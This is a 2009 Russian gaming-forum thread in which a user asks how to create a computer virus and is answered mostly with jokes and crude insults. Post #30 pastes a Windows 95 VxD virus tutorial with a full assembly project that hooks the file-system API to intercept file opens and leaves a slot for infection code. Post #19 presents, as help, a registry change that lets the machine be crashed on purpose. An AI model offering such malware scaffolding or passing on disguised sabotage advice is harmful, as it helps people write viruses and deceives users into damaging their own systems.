ProPlay.ru
  ГЛАВНАЯ    НОВОСТИ    СТАТЬИ    КОМАНДЫ    ДЕМКИ    VOD'ы    СТАВКИ    ТУРНИРЫ    КЛУБЫ    ФОРУМЫ    ГАЛЕРЕИ    РЕКЛАМА    САЙТ   
English Китайский
Забыли пароль?
Регистрация

     Расписание ProPlayTV
Мы ищем стримеров по League of Legends и DOTA2!
    Самые богатые
 ggtt 2664
 Hvostyn 2400
 GopaveC 2000
 rmn1x 2000
 Akon 1958
 razdavalochka 994
 CoolMast 700
 Devostatortk 606
 modify2h 600
 Boevik 400
    События ProPlay.ru

Сезон ставок The International 2015

    Голосование

The Internaitonal 2015 был
Лучше предыдуших
Хуже предыдущих
Такой же



    Counter-Strike: Global Offensive
Counter-Strike: Global Offensive #1
csgo.proplay.ru:27016 0/
Counter-Strike: Global Offensive #2
csgo.proplay.ru:27215 0/
    Репортажи
SLTV StarSeries 6: Репортаж
SLTV StarSeries V: CS Global Offensive
Рейтинг ProPlay.ru: Январь 2013
Fnatic FragOut CS:GO League
SLTV StarSeries #4 CS:GO
SLTV Star Series #3: Репортаж
GosuLeague #3: Репортаж
SLTV Star Series #2: Репортаж
The Premier League Season 2: Репортаж
36ON.RU BATTLE CITY: Плей-офф
Fantasy Football - Евро 2012: Лига ProPlay.ru
Rising Stars Challenge
36ON.RU BATTLE CITY: Групповой этап
FnaticRC CS League: Групповой этап
It's Gosu's Monthly Madness: 2 сезон
36ON.RU BATTLE CITY: 2й квалификационный тур
The Premier League: 2 cезон
Fantasy Football - UEFA Champions League лига ProPlay.ru
36ON.RU BATTLE CITY: 1й квалификационный тур
36ON.RU BATTLE CITY: Составы команд





    #1   [готов воевать] @ 31.08.09 21:14 [пожаловаться]   
Здравствуйте. У меня проявилось любопытство, как создать свой вирус? Кто знает, может поделиться своим опытом?
    #2   кричу_когда_дрочу @ 31.08.09 21:14 [пожаловаться]   
пожри гавна мб чо получица Shocked
    #3   vasilisa36484 @ 31.08.09 21:14 [пожаловаться]   

on tebe rasskazhet Surprised
    #4   skaffander @ 31.08.09 21:14 [пожаловаться]   
Laughing Laughing Laughing
    #5   [всем пиздец я властелин колец] @ 31.08.09 21:15 [пожаловаться]   
Ну для начала надо научиться не создавать тупые темы. Mad
    #6   Losing You @ 31.08.09 21:15 [пожаловаться]   
Very Happy
    #7   V4nz0r vbb @ 31.08.09 21:15 [пожаловаться]   
я тебе помогу
    #8   Склад потронов @ 31.08.09 21:15 [пожаловаться]   
Трахни бабу не знакомую или несколько , что б наверняка . Получиш вирус Трепака.
З.Ы Shocked
    #9   [готов воевать] @ 31.08.09 21:16 [пожаловаться]   
#7 рассказывай Shocked
#8 Laughing
    #10   skaffander @ 31.08.09 21:17 [пожаловаться]   
№1 переустанови вИнамп обнови виндоус медия плеер переустанови кс, поставь сталкер, если не пойдет дотку, после этого обнови 2005 квип на инфиум, и после этого переустанови виннду все атфарматировав Wink
    #11   [готов воевать] @ 31.08.09 21:18 [пожаловаться]   
#10 спасибо за совет а теперь иди на йух Wink Arrow
    #12   ABAsrazzo @ 31.08.09 21:18 [пожаловаться]   
#1 [готов воевать] Ассемблер в помощь
Почитаешь руководство поймешь Rolling Eyes
    #14   [готов воевать] @ 31.08.09 21:19 [пожаловаться]   
#12 спс, первый адекватный ответ Surprised
    #13   V4nz0r vbb @ 31.08.09 21:19 [пожаловаться]   
№12 опередил меня)
    #15   vasilisa36484 @ 31.08.09 21:20 [пожаловаться]   
Surprised

3bl. pomog #12

Surprised

DOPOLNIL
Surprised
    #17   ABAsrazzo @ 31.08.09 21:26 [пожаловаться]   
#13 V4nzo инеблагодариатообижусь
#13 V4nzor Razz
    #18   ShadоwFr @ 31.08.09 21:26 [пожаловаться]   
shas afftor napishet virus i vam vsem p13dec Shocked Shocked Shocked
    #19   Чернокнижник @ 31.08.09 21:27 [пожаловаться]   
#1 Это очень легко!
Заходим в реестр (Пуск -> Выполнить -> regedit.exe) и находим ветку HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesi8042prtParameters. Там нажимаем правой кнопкой мыши по пустому месту в разделе Parameters и создаём "Параметр DWORD". Называем его CrashOnCtrlScroll, затем устанавливаем его значение равным 1.


Осталось перезагрузить компьютер и ты увидешь папку созданную на рабочем столе, там будет полное и подробное описание! Удачи! Shocked
    #20   ABAsrazzo @ 31.08.09 21:29 [пожаловаться]   
#19 задрот кс Мля лень старый комп доставать и проверять что ты там насоветовал, но после этого винамп переустановлю? Shocked
    #21   notactic @ 31.08.09 21:32 [пожаловаться]   
#1 берешь вирус и создаешь
ЗЫ инеблагодариатообижусь Shocked
    #22   Пoлезняшкин @ 31.08.09 21:32 [пожаловаться]   
#19 Laughing Laughing Laughing
    #23   [готов воевать] @ 31.08.09 21:35 [пожаловаться]   
#19 чёто мне сыкатно Laughing
насоветуешь ещё Shocked
    #24   scorobei @ 31.08.09 21:37 [пожаловаться]   
Поиграй в дотцу,школяр
    #25   nal @ 31.08.09 21:40 [пожаловаться]   
Все вирусы так или иначе сводятся к бесконечным цыклам,идею я тебе подсказал,если ты полный чайник,то прочитай Шилда с++ 4-ое издание,кое-ему научишься
    #26   [готов воевать] @ 31.08.09 21:40 [пожаловаться]   
#25 уже прочитал Very Happy
    #27   nal @ 31.08.09 21:42 [пожаловаться]   
№26 Ну тогда подумай как можно создать бесконечный цыкл чтобы он не прерывался процесором,сам не осилил еще так что подробное описание как №19 не напишу Laughing
    #28   [готов воевать] @ 31.08.09 21:43 [пожаловаться]   
Laughing
    #29   No name 364[О_О] @ 31.08.09 21:44 [пожаловаться]   
Surprised Surprised Surprised
    #30   -LaMeR- @ 31.08.09 21:45 [пожаловаться]   
Инициализация в реальном режиме
-------------------------------

Это единственная чать VxD, которая исполняется в реальном режиме. Она
запускается в начале процесса загрузки и инициализации. Эта процедура может
быть использована чтобы предотвратить загрузку VxD, загрузку Windows, и т.д.
Мы будем испльзовать ее для проверки на резидентную часть, чтобы избежать
посторной загрузки VxDб если он уже загружен. VMM вызывает эту процедуру со
следующими параметрами:

AX -> номер версии VMM.

AH -> страшая версия.
AL -> младшая версия.

BX -> флаги при загрузке.

Duplicate_Device_ID -> VxD с таким-же ID уже загружен.
Duplicate_From_INT2F -> тоже самое, но от int 2Fh.
Loading_From_INT2F -> само себя обьясняет Smile

ECX -> 32-bit укзатель, укзывающий на точку входа процедуры сервисов
инициализации, которая позволяет делать таие вещи как читать
регистри или SYSTEM.INI.

EDX -> укзатель на данные от int 2fh, или null.

SI -> сегмент енвиронмент, как он передан от MS-DOS.

Наш VxD может заставить VMM выполнить некоторые действия, такие как
резервирование физических страниц, возвращением следующих параметров:

AX -> действие.

Abort_Device_Load: это значение мы вернем, если VMM скажет нам
что VxD с таким-же VxD-ID уже загружен. Предотвращает загрузку
VxD, не беспокоя другие VxD.

Abort_Win386_Load: говорит VMM, что все полетело к чертям
собачьим, и что ему лучше совсем не загружать Windows
(что все равно скоро и так произойдет) Razz

Device_Load_Ok: когда VMM получает это значение, он понимает
что инициализация идет без проблем, и процесс загрузки должен
продолжаться.

No_Fail_Message: это значение используется в комбинации с
Abort_Device_Load и Abort_Win386_Load чобы предотвратить
некоторые сообщения об ошибке, которые могут показываться при
отмене загрузки Win или VxD.

BX -> укзывает на массив с количеством страниц, резервируемых для
VxD. Этот массив заканчивается NULL и содержит страницы в пределах
от 0000h до 0100h. Если мы не хотим ничего резервировать, это
значение будет равно 0000h.

EDX -> данные описания, пока что зададим как 00000000h.

SI -> instance данные, тоже проставим в 0000h.

Интересные нам сервисы VMM
--------------------------

Менеджер Виртуальной Машины (VMM) - это сердце операционной системы, так как
он упавляет всеми виртуальными машинами. Кроме того, он предоставляет
некоторые сервисы, часть из которых я опишу в примерах:

Get_Cur_VM_Handle
-----------------
Возвращает в EBX хэндл виртуальной машины, которая исполняется сечас.

VMMcall Get_Cur_VM_Handle
mov [VM_handle],ebx

Get_Sys_VM_Handle
-----------------
Возвращает в EBX хэндл системной VM

VMMcall Get_Sys_VM_Handle
mov [SysVM_handle],ebx

Get_VMM_Version
---------------
Возвращает информацию о версии VMM.


VMMcall Get_VMM_Version
mov [Major],ah ; Стерший номер версии
mov [Minor],al ; Младший номер версии
mov [Debug],ecx ; Hомер ревизии


Get_Config_Directory
--------------------
Эта классная функция снабдит нас полным путем к каталогу, где Windows
хранит системные файлы (такие как SYSTEM.INI).

VMMcall Get_Config_Directory
mov [win_path],edx

Get_Exec_Path
-------------
Возвращает укзатель на путь, где Windows держит файл VMM32.VXD. Это
будет наилучшим каталогом для нашего вирусного VxD, где он будет скрыт
между системными файлами в SYSTEM.

VMMcall Get_Exec_Path
mov [path_ptr],edx
mov [length],ecx

Регистер ECX содержит число символов в строке, включая последний
обратный слэш "".

_HeapAllocate
-------------
Выделяет память в heap.

VMMcall _HeapAllocate,

or eax,eax ; eax = 00h если ошибка
jz not_allocated
mov [block_ptr], eax ; укзатель на выделенный блок


#bytes -> определяет сколько байт надо выделить

flags -> может содержать следующие флаги:

HEAPLOCKEDIFDP: выделяет блок памяти, который не будет
свопиться, если для свопирования будут использоваться функции
MS-DOS или BIOS

HEAPINIT: этот флаг может быть укзан только в процессе
инициализации. Он выделяет блок памяти, который будет
автоматически освобожден, как только инит будет закончен.

HEAPSWAP: блок выделяется в страничной (свопируемой) зоне
памяти.

HEAPZEROINIT: выделенный блок заполняется 00h

_HeapFree
---------
Освобождает блок памяти, который был выделен с помощью предыдущей
функции.

VMMcall _HeapFree,

or eax,eax ; eax = 00h если ошибка
jz error


Hook_V86_Int_Chain
------------------
Добавить новый обработчик в V86 прерывание. Вирус Gollum использует этот
сервис чтобы перехватить вызов int 21h.

mov eax,int_number ; Номер прерывания
mov esi,OFFSET32 my_handler ; укзатель на наш обработчик
VMMcall Hook_V86_Int_Chain
jc error ; Флаг переноса установлен
; при ошибке

Система будет вызывать новый обработчик примерно так:

mov eax,int_number ; Прерывание
mov ebx, VM ; Хэндл текущей VM
mov ebp, OFFSET32 crs ; укзатель на Client_Reg_Struc
call [my_handler]

jc pass_to_next ; Флаг переноса установлен если
; функция не обработана

У нас еще есть Unhook_V86_Int_Chain, чье предназначение - удалять
обработчики, такие как мы только что установили.

mov eax,int_number ; Номер прерывания
mov esi,OFFSET32 Hook_Proc ; Адрес процедуры, которая будет
; удалена из цепочки обработчиков

VMMcall Unhook_V86_Int_Chain
jc error ; Флаг переноса установлен
; при ошибке

Инсталлируемая Файловая Система (IFS)
-------------------------------------

Тут находятся все функции, которые мы частенько использовали в MS DOS, и
которые позволяют нам открывать файлы, читать их, и т.д ... Все это будет там,
где наш вирус перехватит все обращения ОС к файлам, и заразит их. Hо, давайте
будем последовательны.

Чтобы проделать все наши действия над файлами, мы воспользуемся сервисом,
который позволит нам выполнить такие простые операции как чтение, запись и тд.
Вот он:

mov eax,R0_OPENCREATFILE ; Функция, которую мы хотим вызвать

; Требуемые параметры
mov cx,0 ; - Аттрибуты
mov bx,2 ; - Флаги
mov dx,0011h ; - Действие и специальные флаги
mov esi,OFFSET32 filename ; - Угадайте чего??? ;)

VxDCall IFSMgr_Ring0_FileIO ; И наконец, сам вызов

Теперь единственная вещь, которую нам надо знать - как вызывать каждую
функцию, и как передавать ей параметры. Дальше приведены форматы вызовов
функций, которые мы будем использовать наиболее часто:


OpenCreateFile
--------------
Будем использовать эту функцию, чтобы открывать или создавать файлы.
Параметры вызова:

EAX -> функция R0_OPENCREATFILE
BX -> режим открытия и флаги *
CX -> аттрибуты
DH -> специальные флаги (R0_NO_CACHE, R0_SWAPPER_CALL)
DL -> действие, которое надо выполнить *
ESI -> укзатель на строку с именем файла

Возвращаемые значения:

если CF=0

EAX -> хэндл файла
ECX -> выполненное действие *

если CF=1 ошибка

* = Смотри int 21h функцию 6ch


ReadFile
--------

С помощью R0_READFILE мы будем читать из уже открытых (функцией
R0_OPENCREATEFILE) файлов. Она ждет от нас следующих параметров:

EAX -> R0_READFILE
EBX -> хэндл файлаа
ECX -> сколько байтов считать
EDX -> место в файле, где начать чтение
ESI -> укзаатель на буфер, куда данные будут помещены

На выходе:

если CF=0 то ECX = количество прочитанных байт
если CF=1 ошибка


WriteFile
---------
Ну да, запись в файл. Параметры:

EAX -> R0_WRITEFILE
EBX -> хэндл файла
ECX -> сколько байт записать
EDX -> место в файле, с которого начать запись
ESI -> укзатель на данные, которые мы хотим записать

На выходе:

если CF=0 то ECX = количество записанных байт
если CF=1 ошибка


CloseFile
---------
Понадобится, чтобы закрыть только что зараженный файл ;) Параметры:

EAX -> R0_CLOSEFILE
EBX -> хэндл файла

На выходе:

если CF=0 то файл был удачно закрыт
если CF=1 ошибка (AX = код ошибки)


GetFileSize
-----------
И почему я думаю, что она нам пригодится? Вызывайте с этими параметрами:

EAX -> R0_GETFILESIZE
EBX -> хэндл файла

В результате:

если CF=0 то EAX = размер файла в байтах
если CF=1 ошибка (AX = код ошибки)

Конечно, мы можем начать прямо сейчас... Однако, нам все еще нужны несколько
функций, таких как FileAttributes, RenameFile, DeleteFile, или
GetDiskFreeSpace. Как приятная неожиданность, - мы имеем еще
WriteAbsoluteDisk иd ReadAbsoluteDisk, чтобы все вокруг, если мы не
любим жесткие диски... ;)

Теперь мы уже знаем как работать с файлами. Нам надо знатьб как внедриться в
файловую систему, чтобы мы смогли следить за ее действиями. Мы будем
использовать IFS менеджер примерно так:

mov eax,OFFSET32 hook_procedure ;наш обработчик
push eax
VxDCall IFSMgr_InstallFileSystemApiHook
add esp,0004h
or eax,eax
jz error
mov dword ptr [prev_hook],eax ;адрес предыдущего
; Продолжаем процесс инициализации
clc
ret
error:
stc
ret

Так мы можем сообщить файловой системе адрес нашего обработчика. Посмотрим на
пример этого самого обработчика:

hook_procedure:

; Эти C-вызовы просто... рулят...
push ebp
mov ebp,esp
sub esp,20h

; С этого места, мы можем найти параметры
; используя стек

; ebp+00h -> сохраненное значение EBP.
; ebp+04h -> адрес возврата.
; ebp+08h -> адрес FSD функции, которая вызывается для
; этого API.
; ebp+0Ch -> номер функции, которую пытаются выполнить
; ebp+10h -> номер диска, на котором все происходит (1 = A:,
; -1 если UNC)
; ebp+14h -> тип диска
; ebp+18h -> кодовая страница, в которой юзер набрал свою сроку
; BCS_ANSI = ANSI, BCS_OEM = OEM
; ebp+1Ch -> укзатель на структуру вызова IFS менеджера (IOREQ)

; Всего 20h байт

; Следующее, что мы сделаем - проверим, не было ли это нашим
; собственным вызовом при заражении файла

; Использую флаг занятости, мы избежим бесконечного цикла.

cmp dword ptr [our_own_call],"BUSY"
je exit_FS_hook

; Здесь мы проверим, какая функция была вызвана

cmp dword ptr [ebp+0Ch],IFSFN_OPEN
je virus_OPEN_FILE

exit_FS_hook:

mov eax,dword ptr [ebp+1Ch]
push eax
mov eax,dword ptr [ebp+18h]
push eax
mov eax,dword ptr [ebp+14h]
push eax
mov eax,dword ptr [ebp+10h]
push eax
mov eax,dword ptr [ebp+0Ch]
push eax
mov eax,dword ptr [ebp+08h]
push eax

; И наконец, вызовем предыдущую функцию IFS

mov eax,dword ptr [Prev_IFS_Hook]
call dword ptr [eax]

; Процедура должна очистить стек перед возвратом

add esp,00000018h

; Возврат

leave
ret

Канонизированные пути
---------------------

Каждая строка пути, которую IFS пропускает в FSD - записана в Unicode. Эти
канонизированные пути, немного отличаются от старого доброго CVery HappyOS (с которым
мы так хорошо знакомы ;)

Эта структура составлена из:

1 слово (WORD) содержащее длинну строки (включая это слово но без
завершающего нулевого (NULL) символа.

1 слово (WORD) содержащее смещение до той части строки, которая
описывает путь, каждый элемент пути содержит часть информации о пути

Различные элементы пути. Их структура составлена из 1 слова (WORD),
содержащего длинну (включая это самое слово) и следующую за ней
Unicode строку с именем этого элемента.

Все канонизированные пути содержат в себе полный путь от корневого каталога.

Сервисы Инсталлируемой Файловой Системы (IFS)
---------------------------------------------

Некоторые из этих сервисов имеют C-формат вызова, так что параметры хранятся в
стеке. Другие - написаны чтобы вызываться из ASM, и требуют загрузки
параметров в регистры. Единственный сервис, который будет полезен для нас
сейчас - IFSMgr _GetVersion, который позволит нам проверить версию IFS.


IFSMgr_GetVersion

На входе:

Ну нет никаких параметров тут Smile

На выходе:

Если CF=0 то EAX содержит версию IFS менеджера
Если CF=1 ошибка


Обобщенный VxD вирус
--------------------

Это пример обобщенного VxD вируса, на который можно навесить дополнительный
код. Проект составлен из следующих файлов:

VIRUS.ASM ; ASM исходник VxD вируса
VIRUS.DEF ; Файл определения модулей
VIRUS.LNK ; Файл с инструкциями для линковщика
MAKEFILE ; Файл поекта

; - -[VIRUS.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

MASM=1

.386p
.XLIST
INCLUDE VMM.Inc
INCLUDE ifs.inc
INCLUDE ifsmgr.inc
INCLUDE SheLL.Inc

.LIST

Declare_Virtual_Device VXD, 1, 0, VXD_Control, Undefined_Device_ID ,,,

VxD_REAL_INIT_SEG

Код инициализации в реальнм режиме для win95

BeginProc VxD_Real_Init_Proc

; Проверка на резидентную чать

test bx,Duplicate_Device_ID
jnz short abort_virus_load

; Hикакие данные (exclusion/instance/reference) не используются

xor bx,bx
xor si,si
xor edx,edx

; Hе запущен - инсталлировать

mov ax,Device_Load_Ok
ret

abort_virus_load:

; Оборвать загрузку

mov ax,Abort_Device_Load or No_Fail_Message
ret

EndProc VxD_Real_Init_Proc

VxD_REAL_INIT_ENDS

VxD_LOCKED_DATA_SEG

; Мы можем писать в залоченный сегмент кода, потому что
; он внутри залоченного сегмента данных

VxD_LOCKED_CODE_SEG

инициализация устройства Virus95

BeginProc VXD_Device_Init

; Этот код инициализации, находится внутри VxD_LOCKED_CODE_SEG
; чтобы избежать его сброса в своп в процессе ебли с IFS.

; Проверить версию IFS

cld
VxDCall IFSMgr_Get_Version
jc exit_device_init

; Получить путь к WIN386.EXE

VMMCall Get_Exec_Path

; Скопировать путь в наш буфер

mov esi,edx
mov edi,OFFSET32 VxD_File_Name
cld
rep movsb

; Дописать имя нашего VxD файла, сразу после пути

mov esi,OFFSET32 virus_VxD_Name
mov ecx,0Bh
cld
rep movsb

; С этого момента мы имеем путь и имя нашего VxD
; вируса прямо в Виндузевом каталоге SYSTEM ...
; Мы можем считать его в буфер, или копировать напрямую
; в процессе заражения файлов

; Следующий сервис вызывается чтобы перехватить API файловой системы.
; Он должен быть вызван, если VxD хочет наблюдать за вызовами API
; и делать с ними всякие интересные штуки.
; Менеджер IFS возвращает укзатель на следующий обработчик в цепочке

mov eax,OFFSET32 virus_FS_Monitor
push eax
VxDCall IFSMgr_InstallFileSystemApiHook

; Если этот вызов неудачен (памяти напрмер не хватило),
; то возвращается 0

add esp,00000004h

or eax,eax
jz error_device_init
mov dword ptr [Prev_IFS_Hook],eax

exit_device_init:

; Продолжить поцесс инициализации

clc
ret

error_device_init:
stc
ret

EndProc VXD_Device_Init

обработчик файлового API Virus''''а-95


BeginProc virus_FS_Monitor

; Используем C-соглашения о вызовах

push ebp
mov ebp,esp
sub esp,20h

; Параметы в стеке:

; ebp+00h -> сохраненное значение EBP.
; ebp+04h -> адрес возврата.
; ebp+08h -> адрес FSD функции, которая вызывается для
; этого API.
; ebp+0Ch -> номер функции, которую пытаются выполнить
; ebp+10h -> номер диска, на котором все происходит (1 = A:,
; -1 если UNC)
; ebp+14h -> тип диска
; ebp+18h -> кодовая страница, в которой юзер набрал свою сроку
; BCS_ANSI = ANSI, BCS_OEM = OEM
; ebp+1Ch -> укзатель на структуру вызова IFS менеджера (IOREQ)

; Всего 20h байт

; Проверим, а не обрабатывам-ли мы свой собственный вызов?

cmp dword ptr [our_own_call],"BUSY"
je exit_FS_hook

; Проверим на OPEN
; Эта функция так-же вызывается при исполнении файлов...

cmp dword ptr [ebp+0Ch],IFSFN_OPEN
je virus_OPEN_FILE

exit_FS_hook:

; Приготовим параметры для вызова предыдущего обработчика FS API

mov eax,dword ptr [ebp+1Ch]
push eax
mov eax,dword ptr [ebp+18h]
push eax
mov eax,dword ptr [ebp+14h]
push eax
mov eax,dword ptr [ebp+10h]
push eax
mov eax,dword ptr [ebp+0Ch]
push eax
mov eax,dword ptr [ebp+08h]
push eax

; Вызовем его

mov eax,dword ptr [Prev_IFS_Hook]
call dword ptr [eax]

; Обработчик IFS вызовов должен чистить стек перед
; возвратом управления

add esp,00000018h

; Hазад, откуда вызвали

leave
ret


Открыть/создать файл

virus_OPEN_FILE:

; Сохраним регистры
pushfd
pushad

; Проставим наш флажек занятости
mov dword ptr [our_own_call],"BUSY"

; Тут можно напихать код заражения файла

; Очистим наш флажек занятости

mov dword ptr [our_own_call],"FREE"

; Восстановим регистры

popad
popfd
jmp exit_FS_hook

EndProc virus_FS_Monitor

Контролная процедура VxD Virus95
(, а как красиво было на английском - Virus95 VxD control dispatcherSmile))

BeginProc VXD_Control

Control_Dispatch Device_Init, VxD_Device_Init
clc
ret

EndProc VXD_Control

VxD_LOCKED_CODE_ENDS

Буферы вируса в залоченном сегменте данных

Prev_IFS_Hook dd 00000000h ;Предыдущий обработчик IFS
our_own_call db "EERF"
VxD_File_Name db 80h dup (00h) ;Путь к VxD-вирусу
virus_VxD_Name db "virus.VXD",00h ;Имя файла VxD-вируса

VxD_LOCKED_DATA_ENDS

END

; - -[VIRUS.DEF]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

LIBRARY VXD
DESCRIPTION ''''ViRuS95''''
EXETYPE DEV386

SEGMENTS
_LTEXT PRELOAD NONDISCARDABLE
_LDATA PRELOAD NONDISCARDABLE
_ITEXT CLASS ''''ICODE'''' DISCARDABLE
_IDATA CLASS ''''ICODE'''' DISCARDABLE
_TEXT CLASS ''''PCODE'''' NONDISCARDABLE
_DATA CLASS ''''PCODE'''' NONDISCARDABLE

EXPORTS
VXD_DDB @1

; - -[VIRUS.LNK]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

VIRUS.obj
VIRUS.vxd /NOI /NOD /NOP
VIRUS.map /MAP

VIRUS.def

; - -[MAKEFILE] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

NAME = VIRUS

LINK = link386.exe

!ifdef DEBUG
DDEBUG =-DDEBLEVEL=1 -DDEBUG
!else
DDEBUG =-DDEBLEVEL=0
!endif

all : VIRUS.vxd

ASM = ml
#AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG)
AFLAGS = -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG)
ASMENV = ML

VIRUS.vxd: VIRUS.def VIRUS.obj
link386 @VIRUS.lnk
addhdr VIRUS.vxd
mapsym32 VIRUS
    #31   ABAsrazzo @ 31.08.09 21:46 [пожаловаться]   
А вааще скачай журнал "Хакер" - ты все передовые технологии, а в Мурзилке тебе
подскажут будущий мод Cool
    #32   ВИВАЛА @ 31.08.09 21:46 [пожаловаться]   
Laughing Laughing Laughing
    #33   [готов воевать] @ 31.08.09 21:47 [пожаловаться]   
#30 Shocked
    #34   nal @ 31.08.09 21:49 [пожаловаться]   
№30 Паскаль? Confused
    #35   vasilisa36484 @ 31.08.09 21:49 [пожаловаться]   
#30 KAPIPAST Surprised
    #36   -LaMeR- @ 31.08.09 21:58 [пожаловаться]   
#35
    #37   Gl @ 31.08.09 21:58 [пожаловаться]   
всё просто. просто создай вирус Shocked
инеблагодаримудк Shocked
    #38   Animal1ty[x0r] @ 31.08.09 22:26 [пожаловаться]   
вот самый простой генератор вирусов: сабж
    #39   -LaMeR- @ 31.08.09 22:32 [пожаловаться]   
#38 магнит для лохов?
    #40   Петя-Супермен @ 31.08.09 22:33 [пожаловаться]   
38- спасибо за троян!
    #41   slick[nb] @ 31.08.09 22:34 [пожаловаться]   
Shocked Shocked Shocked Shocked
    #42   BeN1ce-Today I will be defiant @ 31.08.09 22:34 [пожаловаться]   
как-как
Покашляй в метро!
    #43   kakbEpitahaYa @ 31.08.09 22:40 [пожаловаться]   
#30 спс, создал стопицот вирусов Rolling Eyes
    #44   POVJkE @ 31.08.09 22:41 [пожаловаться]   
#1 отсоси у касперского
    #45   Joes @ 31.08.09 22:42 [пожаловаться]   
Shocked
    #46   ABAsrazzo @ 31.08.09 22:45 [пожаловаться]   
Surprised
    #47   iMozg @ 31.08.09 22:56 [пожаловаться]   
#25 >Все вирусы так или иначе сводятся к бесконечным цыклам
омг. это детские приколы 6-ти классников (говорю по себе, делали..) щас на вирусах бабло колотят, собирая компы в бот-неты.
берется си плюсы, пишется винапишный каркас, придумывается как внедриться в систему и как там проторчать подольше, как раскинуться во все места куда можно. уверяю тебя, нет смысла даже пытаться заниматься этим если не не про кодер, ибо антивирусы палят забавы школяров и студентов на раз.
    #49   maryache @ 31.08.09 23:06 [пожаловаться]   
#36
Они запретили хотлинкинг!

ЗЫ меняю имя на КопетанОчевидность
    #50   ВИВАЛА @ 31.08.09 23:13 [пожаловаться]   
Razz
    #51   МощнаяО_ Ополезняха @ 31.08.09 23:37 [пожаловаться]   
Переустанови винамп, и все станет ясно.
Shocked Shocked Shocked
    #52   .Andrey. @ 01.09.09 06:22 [пожаловаться]   

з.ы. афтор = билгейтс Shocked
    #53   vasilisa36484 @ 01.09.09 07:20 [пожаловаться]   
ЗАЧЕМ ЧТО-ТО ПРИДУМЫВАТЬ КОГДА ВСЕ УЖЕ ЕСТЬ???
АФТАР, КЛИКНИ ПО ЕГО ШИРИНКЕ И СВЕРШИТСЯ ЧУДО Surprised



    #54   -LaMeR- @ 01.09.09 13:23 [пожаловаться]   
В общем, создание хорошего вируса является "высшим пилотажем" программирования, и пока ты не освоишь последнее в полной мере у тебя ничего не получится. Начни с Delphi потом Си, переходи на ассемблер и через пару лет практики вопрос "Как создать вирус?" отпадет сам собой. Удачи. Хотя как мне кажется желание у тебя уже отпало Smile
    #55   fee @ 01.09.09 13:33 [пожаловаться]   
legko , ishesh bomzhihu lizhesh u nee zhopu, zaedaesh govnom i idesh vseh zarazhat Arrow
    #57   [готов воевать] @ 01.09.09 13:48 [пожаловаться]   
выставляю пива всем кто помог Surprised


а школота пусть идёт лесом Evil or Very Mad Arrow
    #58   [готов воевать] @ 01.09.09 13:52 [пожаловаться]   
#53 я кликнул по твоей ширинке ногой с размаху 3б4ный школ9р Arrow
    #59   2len @ 01.09.09 13:58 [пожаловаться]   
помог автору Shocked
    #60   Gl @ 01.09.09 13:59 [пожаловаться]   
#30 не шарит Shocked
    #61   Razorik @ 01.09.09 16:03 [пожаловаться]   
#1 переустанови виамп и проверь версию драйвера для коврика на совместимость Exclamation

з.ы. можешьинеблагодаритьянеобижусь Shocked Surprised Shocked
    #62   -LaMeR- @ 02.09.09 01:44 [пожаловаться]   
#60 шарю Shocked
    #63   fckmchnw @ 02.09.09 02:09 [пожаловаться]   
Exclamation #1 idi na hy1
    #64   idikatinahuy @ 02.09.09 10:28 [пожаловаться]   
нах7й тебе вирус? тебе бы моск...
    #65   школота @ 02.09.09 11:07 [пожаловаться]   
№1 X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
скопируй эту строчку а блокнот и сохрани Very Happy

    Ответить
Very Happy Smile Sad Surprised Shocked Confused Cool Laughing Mad Razz Embarassed Crying or Very sad Evil or Very Mad Twisted Evil Rolling Eyes Wink Exclamation Question Idea Arrow

Новая тема
Подписаться

    Партнеры


Турниры ESL


    Нас можно найти тут:
vkontakte ProPlay.ru - Официальная группа
mirc Наш канал в IRC
Facebook Мы в Facebook
Twitter Мы в Twitter

    Будущие турниры

Добавить турнир



    Последние дневники
Казино вавада онлайн (1)
Online casino (4)
НУЖЕН СОВЕТ БРАБЛЕЯ (16)
СМОКЕРПУП (0)
мои соски упруги, а ваши ... (3)
Записки без смысла [5] (16)
Ф (1)

    Случайные галереи
c1q3-: Ромарио

voVer: 140 банок

Arazi:

c1q3-: Домашний ПК для игры в доту о великого VirtusPro]NS


    Ищем авторов!

ProPlay.ru ищет новых авторов. Прочитайте "Памятку для авторов" и, если заинтересовались, пишите нам editor@proplay.ru


    Реклама
дополнение к Carmageddon: Reincarnation, Jagged Alliance 2 patch, Deadlight видео, дополнение для Lord of the Rings Online: Shadows of Angmar, the



Rambler's Top100
Яндекс цитирования Rambler's Top100

Copyright © 2006-2011 www.proplay.ru. Все права защищены.
Полное или частичное использование материалов сайта www.proplay.ru возможно только с письменного разрешения редакции.